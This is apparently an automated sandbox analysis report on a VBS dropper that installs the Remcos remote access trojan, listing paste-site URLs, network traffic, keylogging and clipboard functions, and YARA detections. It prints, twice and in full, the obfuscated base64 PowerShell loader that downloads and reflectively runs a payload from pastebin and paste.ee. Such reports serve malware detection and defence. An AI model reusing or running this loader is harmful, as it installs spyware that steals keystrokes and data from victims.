Source: powershell.exe, 00000006.00000002.1786360295.000002018022D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.1886765737.00000260265B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1786360295.0000020181474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000003.00000002.1927741950.0000026035581000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1786360295.00000201819E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1798573819.00000201901B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1798573819.0000020190072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000003.00000002.1886765737.0000026025AD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee
Source: powershell.exe, 00000003.00000002.1886765737.0000026025AD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/Rrk2f/0
Source: powershell.exe, 00000003.00000002.1886765737.000002602716A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1886765737.00000260265B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1886765737.00000260258D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: powershell.exe, 00000003.00000002.1886765737.000002602716A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw
Source: powershell.exe, 00000003.00000002.1886765737.000002602716A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1886765737.00000260258D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/4B83LcVU
Source: powershell.exe, 00000003.00000002.1885223131.0000026023A98000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1947421542.000002603DC62000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1886411782.0000026023CA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/J6uRjZrv
Source: powershell.exe, 00000003.00000002.1886765737.0000026027222000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1886765737.0000026025A8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1786360295.0000020181474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rentry.org
Source: powershell.exe, 00000003.00000002.1886765737.0000026027222000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1886765737.0000026027201000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1886765737.0000026025A8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rentry.org/shqm6g9p/raw
Source: powershell.exe, 00000003.00000002.1886765737.0000026027222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rentry.org/shqm6g9p/rawP
Source: powershell.exe, 00000006.00000002.1786360295.0000020181474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rentry.org/vsm4ofxs/raw
Source: powershell.exe, 00000006.00000002.1786360295.0000020181474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rentry.org/vsm4ofxs/rawp
Source: powershell.exe, 00000003.00000002.1886765737.0000026025ADB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.gravatar.com
Source: powershell.exe, 00000003.00000002.1886765737.0000026025ADB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://themes.googleusercontent.com
Source: powershell.exe, 00000003.00000002.1886765737.0000026025ADB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: powershell.exe, 00000003.00000002.1886765737.0000026025ADB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com;
Source: powershell.exe, 00000003.00000002.1886765737.0000026025ADB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736

Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 164.132.58.105:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 164.132.58.105:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_0040A2F3 SetWindowsHookExA 0000000D,0040A2DF,00000000

8_2_0040A2F3

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_0040B749 OpenClipboard,GetClipboardData,CloseClipboard,

8_2_0040B749

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_004168FC OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

8_2_004168FC

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_0040B749 OpenClipboard,GetClipboardData,CloseClipboard,

8_2_0040B749

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_0040A41B GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,

8_2_0040A41B

Source: Yara match	File source: 8.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.260356ab680.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.260356ab680.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2959285882.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1927741950.0000026035520000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1927741950.0000026035581000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 980, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 7372, type: MEMORYSTR

E-Banking Fraud

Contains functionalty to change the wallpaper

Source: Yara match	File source: 8.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.260356ab680.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.260356ab680.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2961914920.0000000002C1E000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2961016698.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2959285882.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1927741950.0000026035520000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1927741950.0000026035581000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 980, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 7372, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0041CA6D SystemParametersInfoW,		8_2_0041CA6D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0041CA73 SystemParametersInfoW,		8_2_0041CA73

System Summary

Malicious sample detected (through community Yara rule)

Source: 8.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 8.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 8.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 3.2.powershell.exe.260356ab680.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 3.2.powershell.exe.260356ab680.4.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 3.2.powershell.exe.260356ab680.4.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 3.2.powershell.exe.260356ab680.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 3.2.powershell.exe.260356ab680.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 3.2.powershell.exe.26026fe03e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables (downloaders) containing reversed URLs to raw contents of a paste Author: ditekSHen
Source: 3.2.powershell.exe.26026fe03e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects known downloader agent Author: ditekSHen
Source: 3.2.powershell.exe.2602596b090.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables (downloaders) containing reversed URLs to raw contents of a paste Author: ditekSHen
Source: 3.2.powershell.exe.2602596b090.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects known downloader agent Author: ditekSHen
Source: 00000008.00000002.2959285882.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000008.00000002.2959285882.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000008.00000002.2959285882.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000003.00000002.1927741950.0000026035520000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000003.00000002.1927741950.0000026035581000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 3548, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 980, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 980, type: MEMORYSTR	Matched rule: Detects Invoke-Mimikatz String Author: Florian Roth
Source: Process Memory Space: powershell.exe PID: 980, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: AddInProcess32.exe PID: 7372, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?Sg?2?HU?UgBq?Fo?cgB2?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bq?GQ?YgBm?Gs?I??9?C??Jw?w?Cc?I??7?CQ?ZQB2?G8?bQBu?C??PQ?g?Cc?JQBK?Gs?UQBh?HM?R?Bm?Gc?cgBU?Gc?JQ?n?C??OwBb?EI?eQB0?GU?WwBd?F0?I??k?GQ?d?B2?GU?Yg?g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?FE?U?B0?GE?dg?u?HI?ZQBw?Gw?YQBj?GU?K??n?CQ?J??n?Cw?JwBB?Cc?KQ?g?Ck?I??7?Fs?UwB5?HM?d?Bl?G0?LgBB?H??c?BE?G8?bQBh?Gk?bgBd?Do?OgBD?HU?cgBy?GU?bgB0?EQ?bwBt?GE?aQBu?C4?T?Bv?GE?Z??o?CQ?Z?B0?HY?ZQBi?Ck?LgBH?GU?d?BU?Hk?c?Bl?Cg?JwBU?GU?a?B1?Gw?YwBo?GU?cwBY?Hg?W?B4?Hg?LgBD?Gw?YQBz?HM?MQ?n?Ck?LgBH?GU?d?BN?GU?d?Bo?G8?Z??o?Cc?TQBz?HE?QgBJ?GI?WQ?n?Ck?LgBJ?G4?dgBv?Gs?ZQ?o?CQ?bgB1?Gw?b??s?C??WwBv?GI?agBl?GM?d?Bb?F0?XQ?g?Cg?Jw?w?C8?Zg?y?Gs?cgBS?C8?Z??v?GU?ZQ?u?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?GU?dgBv?G0?bg?g?Cw?I??n?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?Xw?t?C0?LQ?t?C0?LQ?t?Cc?L??g?CQ?agBk?GI?ZgBr?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\Desktop\asegurar.vbs');powershell $Yolopolhggobek;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?Sg?2?HU?UgBq?Fo?cgB2?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bq?GQ?YgBm?Gs?I??9?C??Jw?w?Cc?I??7?CQ?ZQB2?G8?bQBu?C??PQ?g?Cc?JQBK?Gs?UQBh?HM?R?Bm?Gc?cgBU?Gc?JQ?n?C??OwBb?EI?eQB0?GU?WwBd?F0?I??k?GQ?d?B2?GU?Yg?g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?FE?U?B0?GE?dg?u?HI?ZQBw?Gw?YQBj?GU?K??n?CQ?J??n?Cw?JwBB?Cc?KQ?g?Ck?I??7?Fs?UwB5?HM?d?Bl?G0?LgBB?H??c?BE?G8?bQBh?Gk?bgBd?Do?OgBD?HU?cgBy?GU?bgB0?EQ?bwBt?GE?aQBu?C4?T?Bv?GE?Z??o?CQ?Z?B0?HY?ZQBi?Ck?LgBH?GU?d?BU?Hk?c?Bl?Cg?JwBU?GU?a?B1?Gw?YwBo?GU?cwBY?Hg?W?B4?Hg?LgBD?Gw?YQBz?HM?MQ?n?Ck?LgBH?GU?d?BN?GU?d?Bo?G8?Z??o?Cc?TQBz?HE?QgBJ?GI?WQ?n?Ck?LgBJ?G4?dgBv?Gs?ZQ?o?CQ?bgB1?Gw?b??s?C??WwBv?GI?agBl?GM?d?Bb?F0?XQ?g?Cg?Jw?w?C8?Zg?y?Gs?cgBS?C8?Z??v?GU?ZQ?u?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?GU?dgBv?G0?bg?g?Cw?I??n?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?Xw?t?C0?LQ?t?C0?LQ?t?Cc?L??g?CQ?agBk?GI?ZgBr?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\Desktop\asegurar.vbs');powershell $Yolopolhggobek;			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_004167EF ExitWindowsEx,LoadLibraryA,GetProcAddress,

8_2_004167EF

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B9840E0	3_2_00007FFD9B9840E0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BA41493	3_2_00007FFD9BA41493
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0043706A	8_2_0043706A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00414005	8_2_00414005
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0043E11C	8_2_0043E11C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_004541D9	8_2_004541D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_004381E8	8_2_004381E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0041F18B	8_2_0041F18B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00446270	8_2_00446270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0043E34B	8_2_0043E34B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_004533AB	8_2_004533AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0042742E	8_2_0042742E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00437566	8_2_00437566
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0043E5A8	8_2_0043E5A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_004387F0	8_2_004387F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0043797E	8_2_0043797E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_004339D7	8_2_004339D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0044DA49	8_2_0044DA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00427AD7	8_2_00427AD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0041DBF3	8_2_0041DBF3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00427C40	8_2_00427C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00437DB3	8_2_00437DB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00435EEB	8_2_00435EEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0043DEED	8_2_0043DEED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00426E9F	8_2_00426E9F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00402093 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00401E65 appears 34 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00434E70 appears 54 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00434801 appears 41 times

Source: asegurar.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2620
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2620			Jump to behavior

Source: 8.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 8.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 8.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
